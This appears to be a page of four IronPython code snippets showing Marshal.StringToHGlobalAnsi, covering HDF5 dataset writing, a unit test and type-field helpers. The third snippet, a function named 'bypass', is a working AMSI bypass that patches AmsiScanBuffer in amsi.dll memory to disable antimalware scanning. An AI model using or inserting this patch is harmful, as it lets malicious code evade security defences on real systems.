Exemplo n.º 1
0
def createDatasetWithCompoundType(h5file):

    mtype = createMemType()
    ftype = createFileType()

    npoints = 4
    shape = Array[Int64]((npoints, ))
    dspace = H5S.create_simple(shape.Length, shape)

    dset = H5D.create(h5file, 'DS1', ftype, dspace)

    ms = MemoryStream()
    writer = BinaryWriter(ms)

    writer.Write(Int32(1153))
    s = 'Exterior (static)'
    if IntPtr.Size == 8:
        writer.Write(Marshal.StringToHGlobalAnsi(s).ToInt64())
    else:
        writer.Write(Marshal.StringToHGlobalAnsi(s).ToInt32())
    writer.Write(Double(53.23))
    writer.Write(Double(24.57))

    writer.Write(Int32(1184))
    s = 'Intake'
    if IntPtr.Size == 8:
        writer.Write(Marshal.StringToHGlobalAnsi(s).ToInt64())
    else:
        writer.Write(Marshal.StringToHGlobalAnsi(s).ToInt32())
    writer.Write(Double(55.12))
    writer.Write(Double(22.95))

    writer.Write(Int32(1027))
    s = 'Intake manifold'
    if IntPtr.Size == 8:
        writer.Write(Marshal.StringToHGlobalAnsi(s).ToInt64())
    else:
        writer.Write(Marshal.StringToHGlobalAnsi(s).ToInt32())
    writer.Write(Double(103.55))
    writer.Write(Double(31.23))

    writer.Write(Int32(1313))
    s = 'Exhaust manifold'
    if IntPtr.Size == 8:
        writer.Write(Marshal.StringToHGlobalAnsi(s).ToInt64())
    else:
        writer.Write(Marshal.StringToHGlobalAnsi(s).ToInt32())
    writer.Write(Double(1252.89))
    writer.Write(Double(84.11))

    byteArray = ms.ToArray()

    H5D.write(dset, mtype, H5Array[Byte](byteArray))

    H5S.close(dspace)
    H5T.close(ftype)
    H5T.close(mtype)

    return dset
Exemplo n.º 2
0
    def testReadCStringField(self):
        data = Marshal.AllocHGlobal(Marshal.SizeOf(PyTypeObject()))
        CPyMarshal.Zero(data, Marshal.SizeOf(PyTypeObject()))
        string = "Hey, I am a string. I have tricksy \\escapes\\."
        strPtr = Marshal.StringToHGlobalAnsi(string)
        CPyMarshal.WritePtrField(data, PyTypeObject, "tp_doc", strPtr)

        self.assertEquals(
            CPyMarshal.ReadCStringField(data, PyTypeObject, "tp_doc"), string,
            "failed to read correctly")

        Marshal.FreeHGlobal(data)
        Marshal.FreeHGlobal(strPtr)
Exemplo n.º 3
0
def bypass():
    asbSTR = Marshal.StringToHGlobalAnsi("AmsiScanBuffer")
    asbHandle = NativeMethods.LoadLibrary("amsi.dll")
    asbPtr = NativeMethods.GetProcAddress(asbHandle, asbSTR)

    old = Marshal.AllocHGlobal(4)
    prot = NativeMethods.VirtualProtect(asbPtr, 0x0015, 0x40, old)

    patch = System.Array[System.Byte]((0x33, 0xff, 0x90))
    unPtr = Marshal.AllocHGlobal(3)
    Marshal.Copy(patch, 0, unPtr, 3)
    NativeMethods.RtlMoveMemory(asbPtr + 0x001b, unPtr, 3)

    Marshal.FreeHGlobal(old)
    Marshal.FreeHGlobal(unPtr)
Exemplo n.º 4
0
def WriteTypeField(typePtr, name, value):
    if name in PTR_ARGS:
        CPyMarshal.WritePtrField(typePtr, PyTypeObject, name, value)
        return lambda: None
    if name in INT_ARGS:
        CPyMarshal.WriteIntField(typePtr, PyTypeObject, name, int(value))
        return lambda: None
    if name in STRING_ARGS:
        ptr = Marshal.StringToHGlobalAnsi(value)
        CPyMarshal.WritePtrField(typePtr, PyTypeObject, name, ptr)
        return lambda: Marshal.FreeHGlobal(ptr)
    if name in TABLE_ARGS:
        ptr, dealloc = MakeItemsTablePtr(value)
        CPyMarshal.WritePtrField(typePtr, PyTypeObject, name, ptr)
        return dealloc
    if name in FUNC_ARGS:
        if value is not None:
            dgt = FUNC_ARGS[name](value)
            CPyMarshal.WriteFunctionPtrField(typePtr, PyTypeObject, name, dgt)
            return GC_NotYet(dgt)
        return lambda: None
    raise KeyError("WriteTypeField can't handle %s, %s" % (name, value))